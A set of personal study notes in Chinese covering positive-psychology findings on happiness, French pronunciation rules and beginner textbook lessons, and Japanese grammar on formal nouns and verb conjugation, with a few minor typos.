
最好的生活：高兴（积极心理学）

你快乐吗？

  • 大多数人回答都很快乐

    • 不太可能

  • 不同年龄

  • 不同国家地区

    • 没有国家认为自己不快乐
    • 最快乐的国家是瑞士人
    • 最不快乐的人是保加利亚人
    • 美国人的快乐值是 7.71，也比较高。

  • 性别差异

  • 女性更容易得抑郁症

    • 但是女性比男性更快乐

快乐的程度

  • 所有的欲望都满足了，也并不一定快乐
  • 以前的人没有很多钱，吃的也不够好，还患有很多病的风险，但是并没有不快乐

关于快乐的惊人事实

快乐相对稳定

  • 快乐对环境并不敏感

  • 有很强的遗传因素

  • 人生事件只在短期影响快乐

    • 最糟糕的事情是脖子以下全身瘫痪

      • 但是真发生的人在一年之后，快乐感会回升到和之前差不多的水平

    • 中大奖也只能在很短的时间内让人快乐

    • 情感预测

      • 人们不擅长根据所发生在身上的事情来判断将来的快乐程度

  • 适应力

    • 如果赢得了诺贝尔奖，会快乐，但是会适应，习惯

    • 我们会习惯好的事情

      • 例外：整容让人快乐，而且一直让人快乐下去
      • 拥有物品，就让人习惯，拥有新东西不会让人快乐

    • 但是我们不喜欢噪音等不好的事情

  • 快乐跑步机

    • 永远在追，但是还在原地

    • 一个方法是永远都做新鲜的事情，但是不现实

    • 放弃追求快乐，追求更实在的东西

      • 朋友，计划，长期计划

快乐是相对的

  • 钱、力量和快乐的关系

    • 生活在穷国和富国并不影响快乐

    • 薪水和工作对你的快乐感有影响

      • 只要不是太穷，快乐感就取决于你的相对环境

    • 比身边人多赚钱，更快乐

  • 回忆一件事时，不会简单把快乐和痛苦相加

    • 相反，记忆偏向哪些高峰体验以及结尾

推荐书

  • 《Authentic Happiness》- Marty Seligman
  • 《Happiness》- Nettle
  • 《Stumbing on Happiness》- Dan Gilbert

法语

法语语言内容，目前处于法国幼儿园水平。

语音规则（未完成/WIP）

前注

  • 1 为预备课，5，9，14 为复习课

音素（35 个）

  • 15 个元音
  • 17 个辅音
  • 3 个半元音

元音字母

示例
AEIOUY

辅音音群

示例
plblklglfl
prbrkrgrfr
trdrvr

发音

[a]元-2

  1. a. a, à

[ɛ]元-2

  1. a. ai, aî
  2. ei
  3. ê
  4. et 在词末，ect 在词末
  5. e 在闭音节中

[p]辅-2

  1. 元音前不送气
  2. 辅音前和音节末送气
  3. p

[t]辅-2

  1. 元音前不送气
  2. 辅音前和音节末送气
  3. t

[f]辅-2

  1. f, ph

[i]元-3

  1. i, î, ï, y

[u]元-3

  1. ou, où, oû

[k]辅-3

  1. ca, co, cu
  2. c+辅音字母，c 在词末
  3. q, k, qu

[s]辅-3

  1. s 不在两元音之间
  2. ss
  3. ce, ci, cy
  4. ç
  5. x 在少数词中
  6. sce, sci

[e]元-4

  1. é
  2. er, ez 在词尾
  3. es 在单音节中

[l]辅-4

  1. l, ll

[m]辅-4

  1. m

[n]辅-4

  1. n

[œ]元-7

  1. eu, œu

[ø]元-7

  1. eu, œu 在词末开音节
  2. eu 在[z][ʒ][t][d]音前

[z]辅-7

  1. z
  2. s 在两个元音字母之间
  3. s, x 在联诵时
  4. x 在少数词中

[r]辅-7

  1. r

[ə]元-6

  1. e 在单音节词末
  2. e 在词首开音节
  3. e 在特定模式中
    • 辅辅e辅元
    • 元辅e辅元

[y]元-6

  1. u, ù

[ʃ]辅-6

  1. ch

[ʒ]辅-6

  1. J
  2. ge, gi, gy

[כ]元-8

  1. o
  2. au 在少数词中

[o]元-8

  1. ô
  2. au
  3. eau
  4. o 在词末开音节
  5. o 在[z]音前

[v]辅-8

  1. v
  2. w在少数词中

[~œ]元-10

  1. un
  2. um

[w]半元-10

  1. ou 在元音前
  2. w 在少数词中
  3. oi 读[wa]

[b]辅-10

  1. b

[d]辅-10

  1. d

[ã]元-12

  1. an、en，am、em 后面
    • 注意：没有元音字母或者 n、m 时

[j]半元-12

  1. i 和y +元音
  2. 元音+il 在词尾
  3. 元音+ill
  4. [ij]
  5. 辅音+ill
  6. [ej]或[ɛj]
  7. ay, ey +元音字母
  8. [waj]
  9. oy+ 元音字母
  10. [ɥij]
  11. uy +元音字母
  12. [j~ɛ]
  13. ien, yen 在词末

[~ɛ]元-11

  1. in, im 后无 元音字母或 m, n 时
  2. ain, aim 后无 元音字母或 m, n 时
  3. ein, eim 后无 元音字母或 m, n 时
  4. yn, ym 后无 元音字母或 m, n 时
  5. [w~ɛ]
  6. oin

[ɥ]半元-11

  1. u 在元音前

[g]辅-11

  1. g 在 a, o, u 前
  2. g 在辅音字母前
  3. gu 在 e, i, y 前

[~כ]-13

  1. on, om
  2. [sj~כ]
  3. -tion
  4. [stj~כ]
  5. -stion

[ɲ]-13

  1. gn

其他

  1. 词末辅音字母
    • 一般不发音
    • 词末发音的辅音字母：c, f, l, q, r
  2. h 在词中不发音
  3. 省音
    • 一些元音字母结尾的单音节词(le, ce, ne, me, la, si等)+词首为元音的单词
    • 省去前面一词元音字母，以省文撇(')替代
    • 两个音节合并为一个音节
  4. [ks]
    • cce, cci = [ks]
    • x 在词中一般读 [ks]
  5. 节奏长音
    • [r,v,ʒ,z,j,vr]位于重读音节末尾时，其前面的原因读长音，用长音符号[:]表示
    • 这类长音受节奏组和重音的影响，在句中处于非重读音节时自行消失
  6. 历史长音（由元音引起的长音）
    • [o, ø, ~ɛ, ã, ~כ, ~œ] 在词末闭音节中永远读长音
      • 例： neutre, étudiante
    • 历史长音永远读长音，与节奏长音受节奏组影响不同
  7. 鼻化元音消失
    • 后面有元音字母或 n, m 时
  8. 元音字母+ y +元音字母，y 要分成两个 i 去读
  9. si 只和 il, ils 省音
    • si + il = s'il
    • si + ils = s'ils
    • si + elle != s'elle

教材

法语介词

法语介词近似英语单词
àto, at, in
à côté denext to, beside
aprèsafter
au sujet deabout, on the subject of
avantbefore
avecwith
chezat the home/office of, among
contreagainst
dansin
d'aprèsaccording to
defrom, of, about
depuissince, for
derrièrein back of, behind
devantin front of
durantduring, while
enin, on, to
en dehors deoutside of
en face defacing, across from
entrebetween
enverstoward
environapproximately
hors deoutside of
jusqueuntil, up to, even
loin defar from
malgrédespite
parby, through
parmiamong
pendantduring
pourfor
près denear
quant àas for, regarding
sanswithout
selonaccording to
sousunder
suivantaccording to
suron
verstoward

简明法语教程笔记

语音教程

导论

  • 字母一共 26 个
  • 元音字母 A, E, I, O, U, Y，其余为辅音字母

第一课

语法

  • 句子首字母大写
  • 句号“.”，问号“?”，叹号“!”

发音

  • 法语单词有几个元音就有几个音节
  • 两个相同的辅音字母一般发成一个音
  • e 在词末不发音
  • s 在词末一般不发音

第二课

语法

  • est-ce que 为固定词组，放在陈述句前构成疑问句
  • 法语词序为“主语+动词+其他”
    • 疑问句中使用主语和动词的倒装
    • 用 est-ce que 构成疑问词时，用陈述语序，不倒装
  • 语调
    • 陈述句逐次下降
    • est-ce que 式疑问句，语调最高点在 que 上，或者逐次上升
    • 带疑问词的问句，语调最高点在疑问词上

发音

  • 重音：一般只落在单词最后一个音节上
  • 节奏组
    • 按意义和语法结构划分
    • 一般实词为主体，其他共同构成节奏组
    • 每个节奏组中只有最后一个音节有重音，即重读音节
  • 联诵
    • 同一节奏组
    • 前一词词末如果是原来不发音的辅音字母，而后一个词以元音开始
    • 则前一辅音应发音，与后面原因合成一个音节
  • 长音
    • [:]为长音符号
    • [r]在重读音节末尾时，其前元音读长音

第三课

发音

  • 连音：不该停顿的地方一律连读
  • h 在词中永远不发音
  • h 在词首
    • 哑音 h 要与前面的音联诵
    • 嘘音 h 不能与前面的此联诵，词典中以嘘音 h 开头的词标有 * 号
  • 第三人称单数倒装疑问句中，若动词以元音字母 è 结尾 为了便于读音，要在动词和代词之间加上字母 t，并加连词符“-” 例：Où travaille-t-elle?
  • t 在词末一般不发音
  • d 在词末一般不发音

第四课

发音

  • 音节划分
    • 两元音之间的单辅音属于下一音节
    • 相连两个辅音要分开
      • 若第二个辅音是[r]或[l]，则不能分开，同归于下一个音节
      • 若是[l][r]相连，则要分开
  • 省音
    • 部分以元音字母结尾的单音节词，常和下一个词的词首元音合成一个音节 并省去上个词词末元音字母，代之以省文撇“ ' ”
  • 词末辅音字母
    • c, f, l, r 一般在词末要发音
      • 例外：banc, nerf
    • 其他辅音字母在词末一般不发音
    • 外来词或特殊拼法的词中，有些辅音字母在词末也要发音
      • film(英), bus(英), fils(特殊拼法)

第五课

数字

  • 0 zéro
  • 1 un, une
  • 2 deux
  • 3 trois
  • 4 quatre
  • 5 cinq
  • 6 six
  • 7 sept
  • 8 huit
  • 9 neuf
  • 10 dix

语法

  • 名词阴阳性（约定俗成）
  • 限定成分
    • 不定冠词
      • un
      • une
    • 定冠词
      • le
      • la
    • 其他限定词
      • sa
      • ce
  • 领属关系介词 de
    • 相当于英语 "of" 和汉语 “的”
    • 词序与英语相同
      • le stylo de Charles 一支钢笔 的 夏尔

发音

  • [o]和[œ̃]在词末闭音节中读长音

第六课

数字

  • 11 onze
  • 12 douze
  • 13 treize
  • 14 quatorze
  • 15 quinze
  • 16 seize
  • 17 dix-sept
  • 18 dix-huit
  • 19 dix-neuf
  • 20 vingt

语法

  • 名词单复数

    • 变复数一般加 s
      • 以 eau 结尾的名词变复数加 x
    • 冠词跟着变化
      • un -> des
      • une -> des
      • le -> les
      • la -> les

  • 否定形式 ne ... pas

    • 法语否定形式
    • ne 放在动词前（在元音字母前变成 n'）
    • pas 放在动词后

  • 疑问句三种基本形式

    • 陈述句句末语调上升
    • 陈述句前加 est-ce que
      • 注意：某些带疑问词的问句中，est-ce que 放在疑问词后 例：Où est-ce que Bernard habite? Qu'est-ce qu'il fait?

发音

  • 联诵中 s 读 [z]

第七课

数字

  • 21 vingt et un(une)
  • 22 vingt-deux
  • 23 vingt-trois
  • 24 vingt-quatre
  • 25 vingt-cinq
  • 26 vingt-six
  • 27 vingt-sept
  • 28 vingt-huit
  • 29 vingt-neuf
  • 30 trente

变位表

  • 人称代词

    • 单数复数
      je我nous我们
      tu你（您）vons你们
      il他ils他们
      elle她elles她们

  • 动词变位：法语动词的基本形式叫做不定式动词(verbe infinitif)，使用时需要根据人称、时态、语气等改变形式，这叫动词变位。

    • être(是，在)直陈式现在时变位表
      je suisnous sommes
      tu esvous êtes
      il estils sont
      elle estelles sont

语法

  • 普通名词和专有名词
  • 冠词的省略
    • 表示职业、身份的名词作表语时，一般省略冠词
      • Je suis étudiant.
      • Il est ingénieur.
    • 但在 C'est un étudiant. Ce sont des ingénieurs. 中则保留冠词
  • 阳性名词变阴性名词
    • 表示人的国际、职业和身份的阳性名词，变成阴性时，往往词尾加 e，并改变原来阳性名词的读音
    • 但以 -ien 结尾的名词，变成阴性时，要加 ne
    • 以 -eur 结尾的名词，变成阴性时
      • 一般 eur 改为 rice
      • 有时 eur 改为 euse
    • 有些名词不分阴阳性
    • 有些名词由于历史原因，只有阳性

第八课

变位表

  • avoir(有)直陈式现在时变位表
    j'ainous avons
    tu asvous avez
    il ails ont
    elle aelles ont

语法

  • 表达年龄用动词 avoir
    • Quel âge a-t-il? -> How old is he?
    • Il a vingt ans. -> He is twenty.
  • 语调
    • 法语句子语调一般比较平稳，没有突然升降的变化，只是根据句中的节奏组，声调稍有起伏，基本规律如下：
    • 叙述句肯定式
      • 只有一个节奏组，逐次下降
      • 两个节奏组，声调最高点在第一节奏组末
      • 两个以上节奏组，每个节奏组末语调上升，句末语调下降
    • 否定句
      • 否定词在句末，语调与一般肯定句相同
      • 否定词在句中，声调最高点在否定词上
    • 疑问句：一般情况下，疑问句的声调最高
      • 词序不变的疑问句，语调上升
      • 加 est-ce que 的一般疑问句，语调可逐渐上升
      • 带疑问词的问句，最高点在疑问词上
  • 书写注意事项
    • 专有名词、句子、标题第一个字母要大写
    • 每段开始时，应往后缩进五个字母的位置
    • 书写时最好避免在同一个词中移行。如果在词中间移行，不能将同一音节分开，但应注意：
      • 相同的两个辅音字母要分开，如：profes-seur.
      • 不发音的字母 e，前面如果是辅音，也应作为一个书写音节，如：magnifi-que
      • 相邻的两个元音字母即使不属于同一音节，移行时也不能分开
      • 移行时，词尾要加连字符“-”，如：profes-，magnifi-
  • 拼写符号
    • “´”闭音符
    • “`”开音符
    • “ˆ”长音符
    • “¨”分音符，表示与前面相邻的元音字母分开发音
    • “ç”软音符，表示 c 读[s]
    • “ ' ”省文撇，用在省音中
    • “-”连词符，用来连接单词

入门教程

第九课

变位表

  • apprendre(学习)直陈式现在时变位表
    j'apprendsnous apprenons
    tu apprendsvous apprenez
    il apprendils apprennent
    elle apprendelles apprennent
  • faire(做)直陈式现在时变位表
    je faisnous faisons
    tu faisvous faites
    il faitils font
    elle faitelle font

笔记

  • 第二人称单数
    • tu -> 你
    • vous -> 您
  • 介词 en 引导的名词在句中做状语
  • comme 是连词，意为：作为，当作
  • 句中 ce 代替 ça，这是一种强调的表达方式
  • beaucoup de 是副词短语，意为“很多，许多”，后面的名词要用复数，并且省略冠词
  • bonjour 是白天问候语，上下午均可用
  • messieurs, mesdames, mesdemoiselles 是先生、夫人、小姐的复数
  • salut 在熟人间使用，不能加先生夫人等词，可以直呼其名，见面分手均可用
  • bonsoir 晚上见面时用，意为“晚上好”，分手时使用意为“再见”

语法

  • 法语词类
    • 名词
      • 阳性名词 n.m.
      • 阴性名词 n.f.
      • 复数 pl.
    • 限定词
      • 冠词 art.
      • 指示形容词 adj.dém.
      • 主有形容词 adj.poss.
      • 泛指形容词 adj.indéf.
      • 疑问形容词 adj.interr.
    • 形容词 adj. -> 有性、数变化，要与所修饰的名词性、数一致
    • 代词 pron.
    • 动词 v. -> 有人称和时态变化
      • 及物动词 v.t.
      • 不及物动词 v.i.
    • 副词 adv.
    • 介词 prép. -> 联系句子成分，表明它们之间的关系
    • 连词 conj.
    • 叹词 interj.
  • 定冠词和不定冠词
    • 定冠词
      • un, une, des
      • 用在不确指的或者初次提到名词
    • 定冠词
      • 曾提到过，或者双方都熟知
      • 用在受其他成分限定的名词前
      • 人或事物的总体、或独一无二的事务
    • 省略冠词
      • 名词前有其他限定词
      • 名词作表语，说明身份或国籍
      • 介词 en 后面的名词
      • 名词通过介词 de 作名词补语并表示性质
    • 不能省略冠词
      • 表示所属关系
  • 序数词
    • 第一：premier
    • 其他：词根加后缀 -ième，以 e 结尾的数词，去 e 再加 -ième
      • un, une -> premier, première
      • deux -> deuxième / second, seconde
      • trois -> troisième
      • quatre -> quatrième
      • cinq -> cinquième
    • 注意
      • 序数词是限定词的一种，要与所限定的名词的单复数一致，除 premier, première, second, seconde 外，其他序数词没有阴阳性之分。变成复数时，在词尾加 s
        • le premier texte
      • unième 只能在复合序数词中使用
        • trente et unième 第三十一
      • second 不能在复合序数词中使用
        • trente-deuxième 第三十二
      • cinq 变成 cinquième，neuf 变成 neuvième

第十课

数字

  • trente et un 31
  • trente-deux 30
  • quarante 40
  • quarante et un 41
  • quarante-deux 42
  • cinquante 50
  • cinquante et un 51
  • soixante 60
  • soixante et un 61
  • soixante-dix 70

变位表

  • venir(来)直陈式现在时变位表
    je viensnous venons
    tu viensvous venez
    il vientils viennent
    elle vientelles viennent
  • aller(去)直陈式现在时变位表
    je vaisnous allons
    tu vasvous allez
    il vails vont
    elle vaelles vont

笔记

  • Soyez le bienvenu：欢迎您
    • soyez 是 être 的第二人称命令式
    • bienvenu 应根据被欢迎者的性数作相应变化
      • Soyez la bienvenue, Madame.
      • Soyez les bienvenus, Messieurs.
      • Soyez les bienvenues, Mesdemoiselles.
  • venir + 地点或地名，表示“从……来”
  • n'est-ce pas 是 c'est 的否定疑问式，在句子中独立使用，意为：“是不是”，“对不对”，相当于英语的 isn't it, aren't you 等

日语

日语语言内容，目前处于日本小学生水平。

日语语法整理

名词

构成

  • 单纯名词
  • 复合名词
    • 名名
    • 名叠
    • 动名
    • 名动
    • 动动
    • 形名
  • 转化名词
    • 形转名
    • 动转名
  • 缩写名词

种类

  • 根据表示内容
    • 一般名词
    • 专有名词
  • 根据来源
    • 日语词
    • 汉字词
    • 外来语
    • 混合词

使用

作主语，后续「は」「も」「が」等

作谓语，后续「です」「だ」「だった」「である」等表时态和文章体

作宾语，后续「を」

作补语，后续「へ」「と」「に」「から」「まで」「で」等

后续「の」做体言修饰

人称名词可以做呼语

时间名词可做连用修饰语

形式名词

特点

  • 不能单独使用，只能接在其他词后面

  • 可以使前面的用言具有体言的性质、资格，连同前面一起做句子成分

  • 可以表示某种附加意义

概览

  • こと
  • もの
  • の
  • ところ
  • わけ
  • はず
  • つもり
  • ため
  • うえ
  • うち
  • ほう
  • かぎり
  • とおり
  • まま
  • ...

用法

こと

实质名词： 意为“事情”
形式名词
  • 抽象事物、概念
  • 感叹、感慨
  • 提醒、劝诱
惯用句型
  • ～ことがあります
    • ～＝Vた 曾经有过某种经历
    • ～＝Vる 有时做某事
  • ～ことができます（～＝Vる） 有能力或有可能做某事
  • ～ことに「する・なる・なっている」
    • する 对将来行为的某种决定、决心
    • なる 就将来某种行为做出某种决定、达成某种共识、得出某种结论
    • なっている 约定日常生活中的规定、法律以及一些惯例等约束人们生活行为的各种规定 可视为「ことになる」结果的持续存在
  • ～ことに（～＝表感情、兴趣的词，如遗憾） “……的是”
  • ～ことはない 没有必要做某事
  • ～ことだから 正是前项具备的性质特征，所以有后项的结果很正常
  • ～ことから 表原因、理由，由前面的事情引出后面的结果

もの

实质名词：指人或物
形式名词
  • 抽象事物、道理
  • 感叹、希望
  • 从常理或道德上来说应该做某事
  • 带有感叹的心情叙述过去发生的事情 前接用言，“常常……”、“总是……”
惯用句型
  • ～ものだから（～＝用言连体形） “因为……”、“由于……”
  • ～ものではない（～＝动词连体形） “不要……”、“不该……”
  • ～ものの（～＝用言连体形） “虽然……”、“但是……”
  • ～ものか（～＝用言连体形） “怎么会……”、“哪能……”

の

形式名词
  • 接在用言连体形后，使其具有体言性质
  • 指代人或事物等
惯用句型
  • ～のは～～からだ（～＝用言连体形，～～＝用言终止形） “之所以……是因为……”
  • ～のでは（～＝用言连体形） “要是……的话……”
  • ～のに（～＝用言连体形，N和Na+「な」） 表示转折，“虽然……但是……”
  • ～のだ（～＝用言连体形） 表示原因理由、提醒或说话人的决心

ところ

实质名词：意为“场所、地方”
形式名词
  • 内容
  • 事情动作发生时间
    • 动词连体形＋「ところだ」 “正要……”，“刚要……”
    • Vている＋「ところだ」 “正在……”
    • Vた＋「ところだ」 “刚刚……”
  • 范围、来源、依据 此时句尾常伴有「らしい」、「そうだ」、「とのことだ」
  • 某种条件实现即可成为某种状态
惯用句型
  • ～ところから “从……来看”，“因为……，所以……”
  • ～ところを
    • “正当……的时候”
    • “本该……却……”

はず

形式名词
  • 从情理、习惯或记忆上来推测应该如此
  • 预定、估计，没有否定形式
  • 原因、道理，“怪不得……”
惯用句型
  • ～はずがない／～はずはない（～＝用言连体形） “不可能……”，“不会……”
  • ～たはず（～た＝Vた） 说话人深信的事物与现实不符 “的确……”，“确实……”
  • ～はずではなかった 实际与说话人预测不同后的失望和后悔的心情 “本来不该……”

わけ

形式名词
  • 原因、缘故
  • 道理、情理等
  • 判断、推测 “当然……”
惯用句型
  • ～わけがない／～わけはない（～＝用言连体形） “不会……”，“不可能……”
  • ～わけではない（～＝用言连体形） “并不是……”，“并非……”
  • ～わけにはいかない（～＝用言连体形） “不能……”，“不应该……”
  • ～ないわけにはいかない（～ない＝Vない） 不得不做、必然 “不能不……”，“必须……”

ため

形式名词
  • 原因、理由
  • 目的
  • 对象
惯用句型
  • ～がため～～
    • （～＝表示人物或事物的名词） 表示对其有益
    • （～＝动词未然形＋「ん」） 文言表达方式，“为了……”
  • ～のは～ためだ

とおり

形式名词
  • 后面的动作或行为按照前面所教授的去做
  • 正如之前所说的或所了解的那样
  • 接数词和「何」、「幾」等疑问词后，表示方法和种类的数量

つもり

形式名词
  • 计划、打算
  • 假设
  • 个人的看法、见解

うえ

实质名词：意为“上面”
形式名词
  • 方面
  • 叠加、添加的内容
惯用句型
  • Vる＋「上で」 “在……方面”
  • ～上は（～＝表示某种责任、决心等的行为词语） “正因为要做这件事……”，“既然……”
  • その上 又、而且、还

ほう

形式名词
  • 方面、方向
  • 一方、一边
惯用句型
  • ～より～のほうが～です “比起……还是在……方面更……”
  • ～ほうがいいです “还是……比较好”

しだい

形式名词
  • 理由、根据，前项根据后项的情况而定 前接体言，“要看……如何”
  • 前项一结束后项就开始 接续助词，“一……就……”

かぎり

形式名词
  • 范围、极限等
  • 限定的条件
  • 前接时间名词，表示期限
  • 极限

まま

形式名词
  • 保持前面动作或状态不变
  • 任其自由发展

代词

种类

  • 人称代词
    • 第一人称
    • 第二人称
    • 第三人称
    • 不定代称，用于不确定的人的称呼
  • 指示代词
    • 场所、事物、方向
    • 近称、中称、远称、不定称

使用

人称代词

  • 作主语
  • 作谓语
  • 作宾语
  • 接助词做其他成分
  • 作呼语

指示代词

  • 作主语
  • 作谓语
  • 作宾语
  • 接助词做其他成分

转用

  • 事物指代人 用于同辈以下的关系亲密者之间
  • 方位指代人 用于尊敬、客气场合
  • 事物指代时间
  • 方位指代事物 多用于两个以上事物的选择
  • 方位指代场所
  • 场所指代事物
  • 场所指代时间
  • 场所指代程度或状态

反身代词

  • 指自己
  • 指对方
  • 泛指
  • 指代他人

数词

种类

  • 基数词
  • 序数词
  • 数量词
  • 分数
  • 小数
  • 百分数
  • 概数词
  • 疑问数词

用法

  • 作主语
  • 作谓语
  • 作宾语
  • 做修饰语
  • 接助词做其他修饰成分
  • 常用谚语、惯用语中的数词

转用

  • 用于专有名词
  • 用于普通名词
  • 用于副词
  • 用于动词

动词

种类

经典分类

五段
一段
  • 上一段（イ）
  • 下一段（エ）
  • 例外（形式上看为一段动词，实际上为五段动词）
    • 走る（はしる）
    • 入る（はいる）
    • 切る（きる）
    • 帰る（かえる）
    • 知る（しる）
    • 減る（へる）
    • 焦る（あせる）
    • 要る（いる）
カ变
  • 就一个，来る（くる）
サ变
一般 / 复合动词
自 / 他动词
  • 自动词
    • 动作能自发完成，不带宾语，通常用「が」表示
  • 他动词
    • 动作需要有对象，即宾语，通常用「を」表示
  • 对应关系
    • 自动词：「あ」段假名＋「る」词尾 他动词：「え」段假名＋「る」词尾
    • 自动词：「い／え」段假名＋「る」词尾 他动词：词尾为「す」
    • 对应关系不规则
      • 付くー付ける（つ）
      • 届くー届ける（とど）
      • 続くー続ける（つづ）
      • 割れるー割る（わ）
      • 建つー建てる（た）
      • 痛むー痛める（いた）
      • 解けるー解く（と）
      • 並ぶー並べる（なら）
      • 裂けるー裂く（さ）
    • 自他性质兼有的动词
      • 閉じる（と）
      • 垂れる（しだ）
      • ...
    • 只有自动词没有他动词
      • ある
      • 行く（い）
      • 来る（く）
      • 走る（はし）
      • ...
    • 只有他动词没有自动词
      • 考える（かんが）
      • 読む（よ）
      • 食べる（た）
      • 飲む（の）
      • 作る（つく）
      • ...

授受动词

  • ～は～に～を「あげる・やる・さしあげる」
  • ～は～「に・から」～を「もらう・いただく」
  • ～は～に～を「くれる・くださる」
  • 授受关系动词可以接在「て」后作补助动词
    • ～て「あげる・差し上げる・やる」
    • ～て「もらう・いただく」
    • ～て「くれる・くださる」

敬语动词

本身就是敬语动词
  • 普通动词尊他语动词自谦语动词
    いるいらっしゃる、おいでになるおる
    するなさるいたす
    行く、来るいらっしゃる、おいでになるまいる
    言うおっしゃる申す、申す上げる
    （もうす、もうすあげる）
    見るご覧になる
    （ごらんになる）    		拝見する
    （はいけんする）
    知るご存じ
    （ごぞんじ）    		存じる
    （ぞんじる）
    食べる、飲む召し上がる
    （めしあがる）    		いただく
    聞く、訪ねる
    （きく、たずねる）    		伺う
    （うかがう）
    くれるくださる
    もらういただく
    あげる差し上げる
    （さしあげる）
    会う（あう）お目にかかる
    （おめにかかる）
    あるござる
复合敬语动词
  • お＋动词连用形＋なさる／ご＋サ变动词词干＋なさる
  • お＋动词连用形＋くださる／ご＋サ变动词词干＋くださる
  • お＋动词连用形＋になる／ご＋サ变动词词干＋になる
  • お＋动词连用形＋です／ご＋サ变动词词干＋です
由「れる・られる」构成的敬语动词
  • 动词未然形＋「れる・られる」构成敬语动词
    • 来られる
    • 言われる
    • 卒業される
    • ...

补助动词

～ている
  • 动作或作用的持续进行、正在进行
  • 前接瞬间动词，表示动作已经结束，但动作或作用的结果仍存在
  • 前接状态动词，表示事物静止的客观状态
  • 动作的反复性、习惯性
～てある
  • 前接他动词，表示动作行为完成，其结果的存续状态。 宾语「を」成为句中主语「が」
  • 预先已经做好的准备
～てしまう
  • 动作的完成
  • 对动作形成的结果感到遗憾、惋惜、后悔等心情
  • 注意： 在口语中常用「～てしまう」的音变形式「ちゃう・ちまう」 过去式「～てしまった」音变为「～ちゃった・ちまった」
～ていく
  • 动作由近及远的发展变化过程（时间、空间）
  • 动作状态的发展趋势，多指从现在向未来的发展趋势
～てくる
  • 动作由远及近的过程（时间、空间）
  • 动作状态的发展趋势，多指从过去向现在的发展趋势
～てみる
  • 表示试试看
～ておく
  • 预先做好某种准备动作
  • 动作状态的持续
...

可能动词

  • 本身就是可能动词
    • 聞こえる
    • 見える
    • できる
    • ..
  • 动词未然形＋「れる・られる」 句中宾语助词「を」应改为「が」
  • 五段动词词尾「う」段假名->「え」段假名＋る 句中宾语助词「を」应改为「が」
    • 読める
    • 話せる
    • 行ける
    • 使える
    • 作れる
    • ...
  • サ变动词词干＋「できる」 句中宾语助词「を」应改为「が」
    • 勉強できる
    • 運動できる
    • 掃除できる
    • ...

瞬间动词／持续动词

  • 瞬间动词：动作或作用在瞬间发生并完成。但是动作的结果或状态是存在的。
    • 死ぬ
    • 結婚する
    • 届く
    • 入院する
    • 出る（でる）
    • 着く（つく）
    • 消える
    • 止まる
    • 付く（つく）
    • ...
  • 持续动词：动作能够持续进行。可以后续「～ている」的表现形式，表示动作正在进行或经常的习惯性动作
    • 勉強する
    • 読む
    • 歌う
    • 食べる
    • 見る
    • 鳴く（なく）
    • ...

状态动词／单纯状态动词

  • 状态动词：存在、可能或状态的动词。状态动词其后不接「～ている」的表现形式，但可能动词在不表示可能的意义时可以使用「～ている」
    • ある
    • いる
    • わかる
    • できる
    • 要る（いる）
    • 話せる
    • ...
  • 单纯状态动词：表示带有某种状态的动词。含有形容词或形容动词的性质。后面常接「～ている」的表现形式，也可以用「た」形，表示人或事物的状态
    • 優れる（すぐれる）
    • 似る（にる）
    • 曲がる（まがる）
    • 富む（とむ）
    • ～顔をする
    • そびえる
    • ありふれる
    • ...

动词活用及其用法

未然形

变化规律
  • 五段动词：词尾「う」段变「あ」段＋「ない」
    • 書く->かかない
    • 話す->はなさない
    • 洗う->あらわない
    • 待つ->またない
    • 死ぬ->しなない
    • 学ぶ->まなばない
    • 読む->よまない
    • 売る->うらない
    • 泳ぐ->およがない
    • 注意：「ある」->「あらない」✕「ない」〇
    • …
  • 一段动词：去掉结尾「る」＋「ない」
    • 起きる->おきない
    • 出かける->でかけない
    • 食べる->たべない
    • 見る->みない
    • …
  • カ变动词：「くる」变为「こ」＋「ない」
    • 来る->こない
  • サ变动词：「する」变为「し」＋「ない」
    • する->しない
    • 保存する->ほぞんしない
    • 勉強する->べんきょうしない
    • …
主要用法
  • 可以后续「ぬ」「せる」「れる」等成分，也可以做语法接续使用

连用形

变化规律
  • 五段动词：词尾「う」段变「い」段
    • 書く->かき
    • 待つ->まち
    • 死ぬ->しに
    • 遊ぶ->あそび
    • 落とす->おとし
    • 住む->すみ
    • 作る->つくり
    • 歌う->うたう
    • 泳ぐ->およぎ
    • 続く->つづき
    • ...
  • 一段动词：去掉结尾「る」
    • 起きる->おき
    • 迎える->むかえ
    • 見る->み
    • 疲れる->つかれ
    • 受ける->うけ
    • ...
  • カ变动词：「来る」->「き」
  • サ变动词：「する」->「し」
    • 予約する->よやくし
    • 利用する->りようし
    • ...
主要用法
  • 可以后续「～たい」「～ながら」「～そうだ」等语法
  • 也可以后续一些结尾词「～ぬく」「～放題（ほうだい）」「～にくい」「～やすい」「～過ぎる」等

终止形

  • 动词终止形与原形相同
  • 主要用于终止句子，以及后续某些助词、助动词

命令形

变化规律
  • 五段动词：词尾「う」段变「え」段
    • 書く -> かけ
    • 止まる -> とまれ
    • …
  • 一段动词：去掉结尾「る」＋「ろ」或「よ」
    • 食べる -> たべよ
    • 起きる -> おきろ
    • 見る -> みろ
    • …
  • カ变动词：「来る」 -> 「こい」
  • サ变动词：「する」 -> 「しろ」或「せよ」
    • 掃除する -> そうじしろ／そうじせよ
    • 勉強する -> べんきょうしろ／べんきょうせよ
    • …
主要用法
  • 常用于命令、口令、口号或引用中，语气傲慢，一般不用在敬体会话中，即使出现也限于男子使用
  • 日常生活中多使用「～なさい」「～てください」等较为客气的命令式，相当于汉语的“请”

推量形

变化规律
  • 五段动词：词尾「う」段变「お」段＋「う」
    • 聞く -> きこう
    • 働く -> はたらこう
    • 休む -> やすもう
    • 読む -> よもう
    • …
  • 一段动词：去掉结尾「る」＋「よう」
    • 見る -> みよう
    • 出かける -> でかけよう
    • 起きる -> おきよう
    • 寝る -> ねよう
    • …
  • カ变动词：来る -> 来よう（くる -> こ＋よう）
  • サ变动词：「する」 -> 「し」＋「よう」
    • する -> しよう
    • 勉強する -> べんきょうしよう
    • 運動する -> うんどうしよう
    • …
主要用法
  • 表示第一人称的意志、愿望、决心，或表示第一人称对他人的劝诱
  • 主要用于语法接续，可以用「～う・よう」＋「と思います」表示说话人的意志，通常用于第一人称，问句可用于第二人称

连体形

  • 动词所有的简体形式都可以称为是连体形，主要用于修饰体言，作定语。

假定形

变化规律
  • 五段动词：词尾「う」段变「え」段＋「ば」
    • 書く -> かけば
    • 飛ぶ -> とべば
    • 話す -> はなせば
    • …
  • 一段动词：去掉结尾「る」＋「れば」
    • 見る -> 見れば
    • 起きる -> おきれば
    • 寝る -> ねれば
    • …
